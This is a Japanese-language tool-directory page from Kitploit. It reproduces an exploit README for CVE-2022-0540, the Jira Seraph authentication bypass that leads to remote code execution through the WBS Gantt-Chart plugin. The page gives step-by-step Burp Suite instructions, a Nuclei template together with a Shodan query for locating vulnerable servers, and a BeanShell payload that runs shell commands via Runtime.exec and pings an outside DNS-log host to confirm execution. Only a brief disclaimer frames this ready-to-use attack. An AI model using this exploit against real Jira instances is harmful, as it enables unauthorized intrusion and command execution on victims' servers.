Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-0540-RCE — Atlassian Jira Seraph 認証バイパス RCE(CVE-2022-0540) | Kitploit
ツール/GitHubGitHub/pear1y/cve-2022-0540-rce
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証ペイロード開発
GitHubpear1y/cve-2022-0540-rce

CVE-2022-0540-RCE

Atlassian Jira Seraph 認証バイパス RCE(CVE-2022-0540)

リポジトリを見る
71134年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Atlassian Jira Seraph 認証バイパス RCE(CVE-2022-0540)

英語 • 中国語

エクスプロイト詳細

著者のブログで見られるように、Atlassianは影響を受けるプラグインの長いリストを提供しました(その大部分は偽陽性でした)。著者は実際に影響を受けるいくつかのプラグインを挙げています。

image-20220525190523282

指示された条件に従い、WBS Gantt-Chart for Jiraの公式ドキュメントと組み合わせて

image-20220525190607569

基本的には、ジョブスケジューラモジュール Task の Beanshell Script を利用した RCE です。エクスプロイトの詳細は以下の通りです。

  1. 手動操作には、BurpSuite の置換機能 Proxy > Options > Match and Replace を使用し、ルールを編集することをお勧めします。

image-20220525190640472

  1. Burp をプロキシとして使用して脆弱な Jira ソフトウェアにアクセスし、http://IP:PORT/secure/WBSGanttManageScheduleJobAction.jspa; を開くと、ジョブスケジューラ設定を確認できます。

image-20220525190657966

最終的な Beanshell Script はタイムドタスクとして実行されるため、Edit をクリックして Cron 形式に従って変更することで、実行間隔を都合の良いように変更できます。

  1. Taskを作成

image-20220525190713512

  1. Taskを設定

image-20220525190728145

設定が完了したら、Update をクリックしますがログインページに移動します。心配しないでください。Task は実際にバックグラウンドで追加されています。

  1. Taskを有効化

image-20220525190740547

新しく作成された Task はデフォルトで Disable になっています。手動で Enable に変更し、スクリプトが実行されるまで数秒待つ必要があります。

  1. DNSLOGレコード

image-20220525190756503

同時に、ジョブスケジューラで実行完了のプロンプトが表示されます。

image-20220525190830668


必要条件

root@kitploit:~
WBS Gantt-Chart for Jira <= 9.14.3.1

エクスプロイトの検証

root@kitploit:~
id: CVE-2022-0540

info:
  name: Atlassian Jira Seraph - Authentication Bypass Verify Exploitable(CVE-2022-0540)
  author: DhiyaneshDK
  severity: critical
  description: |
    Jira Seraph allows a remote, unauthenticated attacker to bypass authentication by sending a specially crafted HTTP request. This affects Atlassian Jira Server and Data Center versions before 8.13.18, versions 8.14.0 and later before 8.20.6, and versions 8.21.0 and later before 8.22.0. This also affects Atlassian Jira Service Management Server and Data Center versions before 4.13.18, versions 4.14.0 and later before 4.20.6, and versions 4.21.0 and later before 4.22.0.
  reference:
    - https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass-in-seraph/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0540
    - https://confluence.atlassian.com/display/JIRA/Jira+Security+Advisory+2022-04-20
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0540
    cwe-id: CWE-287
  metadata:
    shodan-query: http.component:"Atlassian Jira"
  tags: cve,cve2022,atlassian,jira,exposure,auth-bypass

requests:
  - method: GET
    path:
      - '{{BaseURL}}/secure/WBSGanttManageScheduleJobAction.jspa;'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'WBS Gantt-Chart'

      - type: regex
        regex:
          - '<td headers="name">([.|\D]*?)</td>'
        dsl: []

      - type: status
        status:
          - 200

実行デモ

root@kitploit:~
nuclei -l targets.txt -t exploit.yaml

スクリーンショット

image-20220525173951955

参照

https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass-in-seraph/

https://ricksoft-support.atlassian.net/wiki/spaces/WGCE0914/pages/2930802887/Global+job+scheduler+settings+-+aggregating+reflecting+time+tracking+and+calculating+progress+rate

Beanshellスクリプト

root@kitploit:~
import java.io.IOException;
import java.lang.*;

Runtime runtime = Runtime.getRuntime();

try {

    String command = "ping -nc 1 55d2721a.dns.1433.eu.org";

    if (System.getProperty("os.name").toLowerCase().contains("windows")) {
    	runtime.exec(new String[]{"cmd.exe", "/c", command});
    } else {
    	runtime.exec(new String[]{"/bin/bash", "-c", command});
    }

} catch (IOException e) {
    e.printStackTrace();
}

この記事で言及されている情報は、正規の許可されたペネトレーションテスト、社内セキュリティチェック、研究目的のみに使用されることを意図しています。この記事で提供される情報の使用によって生じる悪影響については、ユーザーが責任を負います。

ツールをダウンロード